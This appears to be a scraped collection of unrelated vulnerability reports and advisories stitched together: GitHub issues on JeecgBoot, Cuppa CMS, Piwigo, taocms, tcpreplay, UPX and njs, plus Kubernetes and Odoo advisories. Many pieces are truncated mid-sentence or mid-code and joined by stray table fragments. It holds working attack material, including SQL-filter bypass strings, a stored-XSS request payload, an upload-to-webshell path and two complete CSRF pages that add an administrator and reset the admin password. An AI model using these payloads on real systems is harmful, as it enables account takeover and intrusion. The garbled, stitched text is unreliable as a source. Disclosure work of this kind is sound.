] | ##### 版本号：3.4.4
##### 前端版本：vue2版
##### 问题描述：sql注入检测代码存在绕过.
##### 截图&代码：
SqlInjectionUtil类中sql的注释正则为
```java
private final static Pattern SQL_ANNOTATION = Pattern.compile("/\\*.*\\*/");
```
.无法匹配到%0A, 导致可以利用/\*%0A\*/绕过
关键字检测后存在空格,导致绕过
```java
private final static String XSS_STR = "and |extractvalue|updatexml|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|or |+|user()";
```
AbstractQueryBlackListHandler类中的黑名单:
```java
ruleMap.put("sys_user", "password,salt");
```
在isPass函数中ruleMap.get(name)为null即可绕过, 可以采用`sys_user`, (sys_user), sys_user%20等绕过
存在多个注入点:
1. /sys/duplicate/check接口:
```java

] | **Cuppa CMS is prone to a session fixation attack.**
Description: Session Fixation is an attack that permits an attacker to hijack a valid user session. The attack explores a limitation in the way the web application manages the session ID, more specifically the vulnerable web application. When authenticating a user, it doesn’t assign a new session ID, making it possible to use an existent session ID. The attack consists of obtaining a valid session ID (e.g. by connecting to the application), inducing a user to authenticate himself with that session ID, and then hijacking the user-validated session by the knowledge of the used session ID. The attacker has to provide a legitimate Web application session ID and try to make the victim’s browser use it.
**Steps to Reproduce:**
1. Access the cuppa cms login page using the http://127.0.0.1:880/cuppa_cms/administrator/
2. Enter the wrong username and password to generate dummy session tokens
3. Copy the non-authenticated session tokens and insert it into another browser(chrome) in the victim machine.
4. Enter the valid credential to log in to the application.
5. Once you login to the application go back to the attacker browser and refresh the URL.
6. An attacker is able to access the victim session successfully.
**Session Values Before Login: Attacker Machine**
**Session Values Before Login: Victim Machine**
**Session token once fix the victim Machine**
**Session Values after Login: Victim Machine**
**Session Values for the attacker - Just refresh the browser**
**Mitigation:**
The application should always first invalidate the existing session ID before authenticating a user, and if the authentication is successful, provide another session. | Session Fixation in CuppaCMS | https://api.github.com/repos/CuppaCMS/CuppaCMS/issues/8/comments | 1 | 2020-06-16T17:01:59Z | 2020-07-01T14:53:11Z | https://github.com/CuppaCMS/CuppaCMS/issues/8 | 639,831,189 | 8 |

] | Hello, I found Stored XSS in Piwigo version 13.4.0.
**Impact:**
In this way, ordinary users can be promoted to administrator users.
**Here are the complete attack steps:**
1. Register an ordinary user.
2. Sign out.
3. POST messages with burpsuite, and change User-Agent's data to xss-payload. Here's an example.
```
POST /src/piwigo/identification.php HTTP/1.1
Host: 192.168.2.153
Content-Length: 98
Cache-Control: max-age=0

Connection: close
username=w1nd&password=123456&remember_me=<svg+onload=alert(1)>&redirect=&login=%E6%8F%90%E4%BA%A4
```
4. Finally, when the administrator user logs in and visit /admin.php?page=user_activity, the stored xss will be triggered.
`/admin.php?page=user_activity`
Please fix the vulnerability & let me know :).
Thank You!

Organize and utilize steps in two steps：
Step1：
Audit the source code "include/Model/Upload.php", line 33, the filename extension can be controlled by modifying variable "upext":
<img width="1339" alt="image" src="https://user-images.githubusercontent.com/39691787/208852959-9a6c23b4-01be-4592-8f3d-0948b85de5ea.png">
Follow up in "include/Model/File.php", line 75, there is a $this->realpath and find that it comes from $this->path, and $this->path can be passed in through the get parameter (where SYS_ROOT is the root directory of the website):
<img width="1439" alt="image" src="https://user-images.githubusercontent.com/39691787/208853182-59b46a3e-2a38-4084-bb08-996363cb3d42.png">
Here any changes to the variable "upext" or file "Upload.php" can be saved by the method "save" which locates at "include/Model/File.php", line 73:
<img width="1439" alt="image" src="https://user-images.githubusercontent.com/39691787/208853836-2d4396cf-ec94-4fdb-921b-0523cc24faf9.png">
At this stage, you can add "php" filename extension to the variable "upext" and click "save" to save it:

Step 2:
Next, you can upload any php file to the system:

Once you uploaded file, you can open the file through the path "http://www.taocms.com:9090/a.php", and you can get shell of this system:

] | After the administrator logged in, when he opened following malicious pages, CSRF(Cross Site Request Forgery) vulnerabilities occurred.
**poc:**
**one.html—add a new account which has administrator privileges**
```html
<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += "<input type='hidden' name='name' value='test' />";
fields += "<input type='hidden' name='passwd' value='test' />";
fields += "<input type='hidden' name='auth_level' value='admin' />";
fields += "<input type='hidden' name='auth_cat' value='' />";
fields += "<input type='hidden' name='status' value='1' />";
fields += "<input type='hidden' name='action' value='admin' />";
fields += "<input type='hidden' name='id' value='' />";
fields += "<input type='hidden' name='ctrl' value='save' />";
fields += "<input type='hidden' name='Submit' value='浜¤' />";
var url = "http://127.0.0.1/taocms-3.0.2/admin/admin.php";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>
```
After finish this CSRF attack, we can see that a new account has been added.
**two.html—change current administrator’s password**
```html
<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += "<input type='hidden' name='pwd' value='admin123' />";
fields += "<input type='hidden' name='action' value='user' />";
fields += "<input type='hidden' name='ctrl' value='update' />";
fields += "<input type='hidden' name='Submit' value='¿®”¹!' />";
var url = "http://127.0.0.1/taocms-3.0.2/admin/admin.php";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>
```
After that, the administrator’s will change from ‘admin’ to ‘admin123’.
**Solution:**
Better add a CSRF token or CAPTCHA for each important request.

A security issue was discovered in Kubernetes where users authorized to list or watch one type of namespaced custom resource cluster-wide can read custom resources of a different type in the same API group without authorization.
### Am I vulnerable?
Clusters are impacted by this vulnerability if all of the following are true:
- There are 2+ CustomResourceDefinitions sharing the same API group
- Users have cluster-wide list or watch authorization on one of those custom resources.
- The same users are not authorized to read another custom resource in the same API group.
#### Affected Versions
- Kubernetes kube-apiserver <= v1.25.3
- Kubernetes kube-apiserver <= v1.24.7
- Kubernetes kube-apiserver <= v1.23.13
- Kubernetes kube-apiserver <= v1.22.15
### How do I mitigate this vulnerability?
Upgrading the kube-apiserver to a fixed version mitigates this vulnerability.
Prior to upgrading, this vulnerability can be mitigated by avoiding granting cluster-wide list and watch permissions.
#### Fixed Versions
- Kubernetes kube-apiserver v1.25.4
- Kubernetes kube-apiserver v1.24.8
- Kubernetes kube-apiserver v1.23.14
- Kubernetes kube-apiserver v1.22.16
### Detection
Requests containing `..` in the request path are a likely indicator of exploitation. Request paths may be captured in API audit logs, or in kube-apiserver HTTP logs.
If you find evidence that this vulnerability has been exploited, please contact [email protected]
#### Acknowledgements
This vulnerability was reported by Richard Turnbull of NCC Group as part of the Kubernetes Audit.

Kubernetes supports node proxying, which allows clients of kube-apiserver to access endpoints of a Kubelet to establish connections to Pods, retrieve container logs, and more. While Kubernetes already validates the proxying address for Nodes, a bug in kube-apiserver made it possible to bypass this validation. Bypassing this validation could allow authenticated requests destined for Nodes to to the API server's private network. | {

A security issue was discovered in Kubernetes where users may have access to secure endpoints in the control plane network. Kubernetes clusters are only affected if an untrusted user can modify Node objects and send proxy requests to them.
Kubernetes supports node proxying, which allows clients of kube-apiserver to access endpoints of a Kubelet to establish connections to Pods, retrieve container logs, and more. While Kubernetes already validates the proxying address for Nodes, a bug in kube-apiserver made it possible to bypass this validation. Bypassing this validation could allow authenticated requests destined for Nodes to to the API server's private network.
### Am I vulnerable?
Clusters are affected by this vulnerability if there are endpoints that the kube-apiserver has connectivity to that users should not be able to access. This includes:
- kube-apiserver is in a separate network from worker nodes
- localhost services
mTLS services that accept the same client certificate as nodes may be affected. The severity of this issue depends on the privileges & sensitivity of the exploitable endpoints.
Clusters that configure the egress selector to use a proxy for cluster traffic may not be affected.
#### Affected Versions
- Kubernetes kube-apiserver <= v1.25.3
- Kubernetes kube-apiserver <= v1.24.7
- Kubernetes kube-apiserver <= v1.23.13
- Kubernetes kube-apiserver <= v1.22.15
### How do I mitigate this vulnerability?
Upgrading the **kube-apiserver** to a fixed version mitigates this vulnerability.
Aside from upgrading, configuring an [egress proxy for egress to the cluster network](https://kubernetes.io/docs/tasks/extend-kubernetes/setup-konnectivity/) can mitigate this vulnerability.
#### Fixed Versions
- Kubernetes kube-apiserver v1.25.4
- Kubernetes kube-apiserver v1.24.8
- Kubernetes kube-apiserver v1.23.14
- Kubernetes kube-apiserver v1.22.16
**Fix impact:** In some cases, the fix can break clients that depend on the nodes/proxy subresource, specifically if a kubelet advertises a localhost or link-local address to the Kubernetes control plane.
### Detection
Node create & update requests may be included in the Kubernetes audit log, and can be used to identify requests for IP addresses that should not be permitted. Node proxy requests may also be included in audit logs.
If you find evidence that this vulnerability has been exploited, please contact [email protected]

# Version info
```
dec265 v1.0.9
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```

There is a reachable assertion in `tcpedit_dlt_cleanup()` when when the user uses `tcprewrite` to open a crafted pcap file in `DLT_JUNIPER_ETHER` mode.
**To Reproduce**
Steps to reproduce the behavior:
1. Get the Tcpreplay source code and compile it.
```
$ ./configure
$ make
```
2. Run Command `$ ./tcprewrite --dlt="jnpr_eth" -i $POC -o /dev/null`
The POC file could be downloaded here:
[POC file](https://raw.githubusercontent.com/Marsman1996/pocs/master/tcpreplay/poc-tcprewrite-bcb107a-tcpedit_dlt_cleanup-assertion)
**Expected behavior**
Program reports assertion failure and is terminated.
The GDB report:
```

There is a NULL Pointer Dereference in `parse_endpoints()` when the user passes empty endpoints string to `tcprewrite` with option `--endpoints`.
**To Reproduce**
Steps to reproduce the behavior:
1. Get the Tcpreplay source code and compile it.
```
$ ./configure
$ make
```
2. Generate cache file `$ ./tcpprep --port --pcap=./test.pcap --cachefile=./test.cache`
The file `test.pcap` is from tcpreplay codebase, which is located in `test/test.pcap`.
3. Run Command `$ ./tcprewrite --endpoints="" -i ./test.pcap -o /dev/null --cachefile=./test.cache`
**Expected behavior**
Program crashes with Segmentation fault.
The GDB report is:
```
$ gdb --args ./bin_normal/bin/tcprewrite --endpoints="" -i ./code/test/test.pcap -o /dev/null --cachefile=./test.cache
For help, type "help".

] | **Describe the bug**
There is a reachable assertion in `cidr2cidr()` when the user passes empty cidr string to `tcpprep` in CIDR-split mode.
**To Reproduce**
Steps to reproduce the behavior:
1. Get the Tcpreplay source code and compile it.
```
$ ./configure
$ make
```
2. Run Command `$ ./tcpprep --cidr="" --pcap=./test.pcap --cachefile=/dev/null`
The file `test.pcap` is from tcpreplay codebase, which is located in `test/test.pcap`.
**Expected behavior**
Program reports assertion failure and is terminated.
The GDB report:
```
$ gdb --args ./bin_normal/bin/tcpprep --cidr="" --pcap=./code/test/test.pcap --cachefile=/dev/null
(gdb) r
Starting program: /home/ubuntu178/cvelibf/test/tcpreplay/latest/bin_normal/bin/tcpprep --cidr= --pcap=./code/test/test.pcap --cachefile=/dev/null

] | There is a report on possible DoS attack, against certain versions of Jackson 2.10.x - 2.13.x (does not affect earlier versions like 2.9, nor future 2.14 and 3.0).
CVE: https://nvd.nist.gov/vuln/detail/CVE-2021-46877
Fix has been included in versions:
* 2.12.6
* 2.13.1
No current plans to back-porting into 2.10 or 2.11 branches (2.9 and earlier not affected).

# CVE description
## Applicability
The vulnerability is available only when using _JDK serialization_ to serialize, deserialize `JsonNode` values: this is not something most users ever do, nor is it recommended for general usage.
So, any other use of `JsonNode` is completely unrelated to the reported CVE: this ONLY APPLIES WITH JDK SERIALIZATION.
## Example
So how does one use JDK Serialization with Jackson's `JsonNode`?
Example of such usage (copied from test `NodeJDKSerializationTest.java`) is:
```
ObjectNode root = MAPPER.createObjectNode();
root.put("answer", 42);
// Instead of usual "write as JSON" (using "node.toString()" or serialize using ObjectMapper)
// something wants to use JDK serialization: some caching frameworks do this
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
ObjectOutputStream obOut = new ObjectOutputStream(bytes);
obOut.writeObject(root);
obOut.close();
byte[] jdkSer = bytes.toByteArray();
// and somewhere something wants to read it back like so:
ObjectInputStream objIn = new ObjectInputStream(new ByteArrayInputStream(jdkSer));
ObjectNode fromSer = (ObjectNode) objIn.readObject();
// ^^^^ to cause DoD, attacker would need to produce a specifically changed version of
// payload!
```
The issue with JDK serialization is due to combination of format used and original code (see class `NodeSerialization` for details).
First: `JsonNode` is serialized as a sequence of bytes where first 4 bytes indicate length of actual content; and contents are JSON serialization itself. When reading it back (JDK deserialization) length is read first, original code allocates a `byte[]` with that size, and then contents are read. This works, functionally speaking.
But if attacker provides, instead, a payload that contains only 4-byte length, with value of `Integer.MAX_VALUE`, then decoder will:
1. Read the length
2. Allocate 2 gig `byte[]` array
3. If it succeeds, try to read contents, fail
The problem here is that during step (2), a large buffer allocation may well run process out of (heap) memory -- especially so if attacker manages to inject multiple broken messages.
Fix is to avoid eager allocation of big buffers and only allocate buffers as needed, along reading of the payload.

Deferencing a generic poniter 'p' trigger the overflow.
```cpp
gef➤ p *p
Attempt to dereference a generic pointer.
gef➤ p p
$1 = (const void *) 0xa1fffd
```
Essentially, the problem is caused in PackLinuxElf32::elf_lookup() at p_lx_elf.cpp:5382
```cpp
do if (0==((h ^ get_te32(hp))>>1)) {
unsigned st_name = get_te32(&dsp->st_name);
char const *const p = get_str_name(st_name, (unsigned)-1);
if (0==strcmp(name, p)) {
return dsp;
}
} while (++dsp, 0==(1u& get_te32(hp++)));
```
Several locations will also trigger vulnerabilities:
PackLinuxElf32::elf_lookup() at p_lx_elf.cpp:5368
```cpp
unsigned const w = get_te32(&bitmask[(n_bitmask -1) & (h>>5)]);
```
PackLinuxElf64::elf_lookup() at p_lx_elf.cpp:5404
```cpp
for (si= get_te32(&buckets[m]); 0!=si; si= get_te32(&chains[si]))
```
PackLinuxElf32::elf_lookup() at p_lx_elf.cpp:5349
```cpp
for (si= get_te32(&buckets[m]); 0!=si; si= get_te32(&chains[si])) {
char const *const p= get_dynsym_name(si, (unsigned)-1);
if (0==strcmp(name, p)) {
return &dynsym[si];
}
}
```
## What should have happened?
Decompress a crafted/suspicious file.
## Do you have an idea for a solution?
We are very grateful to @jreiser for patching the bucket in p_lx_elf.cpp in the [issue 365](https://github.com/upx/upx/issues/365). However, in fact, all places involving get_te32 () should be strengthened in upx, especially in p_lx_elf.cpp. The four positions we reported should be patched at least:
1) p_lx_elf.cpp:5382
2) p_lx_elf.cpp:5368
3) p_lx_elf.cpp:5404
4) p_lx_elf.cpp:5349
## How can we reproduce the issue?
1. compile upx with address-sanitize
2. execute cmd
```bash
upx.out -df $PoC -o /dev/null
```

The instruction to crash is, corresponds to the bucket [j] in the source code
```bash
mov eax, DWORD PTR [rdi+rsi*4+0x14]
```
The register rdi and rsi are:
```bash
$rsi : 0x7aa9
$rdi : 0x0000000000a01548
```
The DWORD PTR pointer to 0xa20000, where is a invalid address.
```bash
gef➤ x /10xg 0xa20000
0xa20000: Cannot access memory at address 0xa20000
```
## What should have happened?
Decompress a crafted/suspicious file.
## Do you have an idea for a solution?
A boundary check is needed for loop variable 'j' because the size allocated for variable 'buckets' is limited.
```cpp
upx_uint64_t const *const bitmask = (upx_uint64_t const *)(void const *)&gashtab[4];
unsigned const *const buckets = (unsigned const *)&bitmask[n_bitmask];
unsigned const *const hasharr = &buckets[n_bucket]; (void)hasharr;
//unsigned const *const gashend = &hasharr[n_bucket]; // minimum, except:
// Rust and Android trim unused zeroes from high end of hasharr[]
unsigned bmax = 0;
for (unsigned j= 0; j < n_bucket; ++j) {
if (buckets[j]) {
if (buckets[j] < symbias) {
char msg[50]; snprintf(msg, sizeof(msg),
"bad DT_GNU_HASH bucket[%d] < symbias{%#x}\n",
buckets[j], symbias);
throwCantPack(msg);
}
if (bmax < buckets[j]) {
bmax = buckets[j];
}
}
}
```
## How can we reproduce the issue?
1. compile upx with address-sanitize
2. execute cmd
```bash
upx.out -df $PoC -o /dev/null
```

The instruction to crash is, corresponds to the bucket [j] in the source code
```bash
mov r9d, DWORD PTR [rax+rsi*4+0x1c]
```
The value of register rax and rsi are:
```bash
$rax : 0x0000000000a009c1
$rsi : 0x7d88
```
The DWORD PTR pointer to 0xa1fffd, where the 0xa20000 is a invalid address.
```bash
gef➤ x /10xg 0xa1fffd
0xa1fffd: Cannot access memory at address 0xa20000
```
## What should have happened?
Decompress a crafted/suspicious file.
## Do you have an idea for a solution?
A boundary check is needed for loop variable 'j' because the size allocated for variable 'buckets' is limited.
```cpp
unsigned const *const bitmask = (unsigned const *)(void const *)&gashtab[4];
unsigned const *const buckets = (unsigned const *)&bitmask[n_bitmask];
unsigned const *const hasharr = &buckets[n_bucket]; (void)hasharr;
//unsigned const *const gashend = &hasharr[n_bucket]; // minimum, except:
// Rust and Android trim unused zeroes from high end of hasharr[]
unsigned bmax = 0;
for (unsigned j= 0; j < n_bucket; ++j) {
if (buckets[j]) {
```
## How can we reproduce the issue?
1. compile upx with address-sanitize
2. execute cmd
```bash
upx.out -df $PoC -o /dev/null
```

==113201==ABORTING
```
The essential cause of the bug is at PackLinuxElf64 :: elf_lookup () at p_lx_elf: 5423:
```cpp
upx_uint64_t const w = get_te64(&bitmask[(n_bitmask -1) & (h>>6)]);
```
## What should have happened?
Decompress a crafted/suspicious file.
## Do you have an idea for a solution?
We are very grateful to @jreiser for patching the bucket in p_lx_elf.cpp in the [issue 367](https://github.com/upx/upx/issues/365). However, in fact, all places involving get_te64 () should be strengthened in upx, especially in p_lx_elf.cpp. The position we reported should be patched at least:
position in PackLinuxElf64::elf_lookup() at p_lx_elf:5423
```cpp
upx_uint64_t const w = get_te64(&bitmask[(n_bitmask -1) & (h>>6)]);
```
## How can we reproduce the issue?
1. compile upx with address-sanitize
2. execute cmd
```bash
upx.out -df $PoC -o /dev/null

# bug
So, actually this is a logic bug, happened under an really interesting circumstance.
the buggy function is the njs_module_read in the file njs_module.c
```c
if (fstat(fd, &sb) == -1) {
goto fail;
}
text->length = nxt_length(NJS_MODULE_START);
if (S_ISREG(sb.st_mode) && sb.st_size) {
text->length += sb.st_size;
}
text->length += nxt_length(NJS_MODULE_END);
text->start = nxt_mp_alloc(vm->mem_pool, text->length);
if (text->start == NULL) {
goto fail;
}
p = nxt_cpymem(text->start, NJS_MODULE_START, nxt_length(NJS_MODULE_START));
n = read(fd, p, sb.st_size);
```
as you can see, it read the sb.st_size and sb.st_mode with function fstat. However if we dont provide a common .js file. the S_ISREG(sb.st_mode) will be 0. text->length wont be updated.
and read(fd, p, sb.st_size); still read sb.st_size bytes into the p. p is on the heap. So we can overflow to the next chunk on the heap....

CVE-2023-29583 | 2023-04-24T13:15:07.523 | yasm 1.3.0.55.g101bc was discovered to contain a stack overflow via the function parse_expr5 at /nasm/nasm-parse.c. Note: This has been disputed by third parties who argue this is a bug and not a security issue because yasm is a standalone program not designed to run untrusted code. | {

**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-23166](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23166)
**Component**: Core
**Credits**: Nils Hamerlinck (Trobz)
A sandboxing issue in Odoo Community 15.0 and earlier and Odoo Enterprise
15.0 and earlier allows authenticated administrators to read and write
local files on the server.
## I. Background
Odoo uses the Python library psycopg2 to interact with the PostgreSQL database.
## II. Problem Description
The pyscopg2 library could be abused to access the local files of the server
running the Odoo instance.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Privileged user account required
**CVSS3 Score**: high :: 8.7
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)
A malicious administrator might be able to read or modify sensitive files stored
on the server such as protected configuration secrets.
Systems who host Odoo databases for untrusted users are particularly at risk,
(e.g. SaaS platforms), as they typically allow users to become administrators
of their own Odoo database. This is sufficient to exploit the vulnerability.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/c306ce28d524e868a558c9ecb4ce5e9173c220c1

**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-23176](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23176)
**Component**: l10n_fr_fec
**Credits**: Florent Mirieu de la barre
Improper access control in reporting engine of l10n_fr_fec module in Odoo
Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows
remote authenticated users to extract accounting information via crafted
RPC packets.
## I. Background
The l10n_fr_fec module is a module for the accounting localization of France
allowing to generate the Fichier d'Échange Informatisé (FEC).
## II. Problem Description
The generation of the report was not properly protected and could be accessed
by users without accounting access rights.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Employee / Portal user account required
**CVSS3 Score**: Medium :: 6.5
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Malicious users (including portal user accounts) on an Odoo database
might craft RPC requests specifically targeted at extracting accounting
data from the database.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
Until the deployment of the patch, the `l10n_fr_fec` module can be
uninstalled on unpatched database. Updating to the latest revision or
applying the corresponding patch is strongly recommended.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download

**CVE ID**: [CVE-2021-23178](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23178)
**Component**: Online Payment
**Credits**: Parth Gajjar
Improper access control in Odoo Community 15.0 and earlier and Odoo
Enterprise 15.0 and earlier allows attackers to validate online payments
with a tokenized payment method that belongs to another user, causing
the victim's payment method to be charged instead.
## I. Background
To facilate recurring online payments on the ecommerce or subscription, one can
save a credit card as payment method and reuse it for future purchase.
## II. Problem Description
An improper validation in the online payment mechanism allowed an attacker to
use the saved payment method of another user.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: None
**CVSS3 Score**: high :: 7.5
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
A malicious user might be able to craft a payment request to validate an online
purchase, charging the credit card of another user.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround

**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-23186](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23186)
**Component**: Core
**Credits**: Nils Hamerlinck (Trobz)
A sandboxing issue in Odoo Community 15.0 and earlier and Odoo Enterprise
15.0 and earlier allows authenticated administrators to access and modify
database contents of other tenants, in a multi-tenant system.
## I. Background
An Odoo system may host multiple databases on the same server, in a
multi-tenant fashion, while maintaining an isolation between each other.
## II. Problem Description
The framework contained a programming error that allowed to escape the
isolation of the database and access other databases hosted on the same
multi-tenant system.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Privileged user account required
**CVSS3 Score**: high :: 8.7
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)
A malicious administrator might be able to read or modify data of another
database hosted on the same server, by crafting malicious requests.
Systems who host Odoo databases for untrusted users are particularly at risk,
(e.g. SaaS platforms), as they typically allow users to become administrators
of their own Odoo database. This is sufficient to exploit the vulnerability.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding

**Affects**: Odoo 14.0 through 15.0 (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-23203](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23203)
**Component**: Report engine
**Credits**: Tiffany Chang, iamsushi, Ranjit Pahan, Iago Ruiz
Improper access control in reporting engine of Odoo Community 14.0
through 15.0, and Odoo Enterprise 14.0 through 15.0, allows remote
attackers to download PDF reports for arbitrary documents, via crafted
requests.
## I. Background
Odoo includes a generic report engine that works on any business record,
based on report templates bundled in Odoo Apps. It uses the same Access
Control definitions as the rest of the system to determine who can open
a report and view its content.
## II. Problem Description
A programming error in the report engine did not properly apply the Access
Control settings, and allowed users to access reports on unauthorized
documents.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: User account not necessarily required
**CVSS3 Score**: High :: 7.5
**CVSS3 Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
This allows malicious users, including external users without a
user account, to access reports on arbitrary documents in an
affected database, as long as such a report exists.
This would not usually allow privilege escalation, but may
lead to unauthorized disclosure of sensitive information.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 14.0: https://github.com/odoo/odoo/commit/f2c1ee5a622db33a4411e7f9285f09387d1d7480
- 15.0: Same patch as for 14.0 applies for 15.0.
- 14.0-ent and 15.0-ent (Enterprise): see 14.0.

**Affects**: Odoo 14.0 and 15.0 (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-26263](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26263)
**Component**: Discuss
**Credits**: Theodoros Malachias, iamsushi, Ranjit Pahan
Cross-site scripting (XSS) issue in Discuss app of Odoo Community 14.0
through 15.0, and Odoo Enterprise 14.0 through 15.0, allows remote
attackers to inject arbitrary web script in the browser of a victim,
by posting crafted contents.
## I. Background
Odoo has a live chat feature to discuss in real time with employees or website
visitors. A notification is triggered when a new message is received.
## II. Problem Description
Improper input validation allowed to inject arbitrary code executed in the
browser of the viction when the message is received.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: None
**CVSS3 Score**: High :: 7.5
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
An attacker might craft requests to send arbitrary code to a victim and execute
web script without needing active interaction from the victim, other than being
connected. This may lead to privilege escalation and sensitive information
disclosure.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:

**Affects**: Odoo 13.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-44460](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44460)
**Component**: Core
**Credits**: Xavier Morel
Improper access control in Odoo Community 13.0 and earlier and Odoo
Enterprise 13.0 and earlier allows users with deactivated accounts to
access the system with the deactivated account and any permission it
still holds, via crafted RPC requests.
## I. Background
Users can be deactivated as a way to keep the past information about them but
no longer allow them to login into an Odoo database. This is the typical
scenario when an employee leaves the company.
## II. Problem Description
Old users could still interact with the database through the API even though
they were no longer able to login through the login form.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Deactivated user account required
**CVSS3 Score**: High :: 7.4
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)
A old employee or portal might abuse their past privileges to gain access to
recent information.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
Changing the password of deactivated users ensures an old user is no longer
able to craft RPC requests. Updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding

**Component**: Website Mail
**Credits**: Swapnesh Shah
Improper access control in Odoo Community 13.0 and earlier and Odoo
